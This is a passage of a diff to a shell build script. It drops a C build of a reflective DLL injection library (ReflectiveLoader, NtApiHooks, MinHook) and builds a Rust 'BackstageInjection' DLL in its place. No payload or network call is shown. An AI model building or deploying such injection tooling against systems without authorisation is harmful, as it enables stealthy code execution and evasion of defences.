"$MINHOOK_DIR" ]; then - if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then - # Some trees have the folder but not the expected source files. - stage_minhook_from_static_dir || fetch_minhook || true - fi +if ! command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1; then + echo "ERROR: cross compiler not found: x86_64-w64-mingw32-gcc" + echo "Install mingw-w64 (e.g. apt install gcc-mingw-w64-x86-64)." + exit 1 fi -if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then - echo "Building MinHook from source ..." - MINHOOK_OBJS="" - MINHOOK_LIB="" - MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde" +mkdir -p "$OUT_DIR" - if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then - mkdir -p "$SRC_DIR/include" || true - if [ -f "$MINHOOK_DIR/MinHook.h" ]; then - cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" || true - elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then - cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" || true - fi - fi +echo "Building Rust BackstageInjection DLL ($TARGET) ..." +cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml" - for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \ - "$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \ - "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do - if [ -f "$src" ]; then - obj="${src%.c}.o" - "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src" - MINHOOK_OBJS="$MINHOOK_OBJS $obj" - fi - done - - if [ -z "${MINHOOK_OBJS// }" ]; then - echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" - fi -else - MINHOOK_OBJS="" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" +SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll" +if [ ! -f "$SRC_DLL" ]; then + echo "ERROR: expected built DLL at $SRC_DLL" + exit 1 fi -CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" -CFLAGS="$CFLAGS -DBackstageInjection_EXPORTS -DWIN_X64" -CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" -CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" -CFLAGS="$CFLAGS -fno-stack-protector" -CFLAGS="$CFLAGS -I$SRC_DIR" -if [ -n "${MINHOOK_INC:-}" ]; then - CFLAGS="$CFLAGS $MINHOOK_INC" -fi - -# ReflectiveLoader is position-independent shellcode: strip .eh_frame but keep .pdata -LOADER_CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" - -echo "Compiling ReflectiveLoader.c ..." -"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" - -echo "Compiling ReflectiveDll.c ..." -"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c" - -echo "Compiling NtApiHooks.c ..." -"$CC" -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c" - -echo "Linking $DLL_NAME ..." -LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o" -if [ -n "${MINHOOK_OBJS:-}" ]; then - LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS" -fi -LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll" -if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then - LINK_LIBS="$LINK_LIBS $MINHOOK_LIB" -fi - -"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ - -Wl,--entry,DllMain \ - -Wl,--disable-runtime-pseudo-reloc \ - -fno-stack-protector \ - -s - +cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME" echo "Built: $OUT_DIR/$DLL_NAME" ls -la "$OUT_DIR/$DLL_NAME" -# Clean up object files -rm -f "$SRC_DIR"/*.o -if [ -d "$MINHOOK_DIR" ]; then - find "$MINHOOK_DIR" -name '*.o' -delete -fi - -echo "Done." +echo "Done." \ No newline at end of file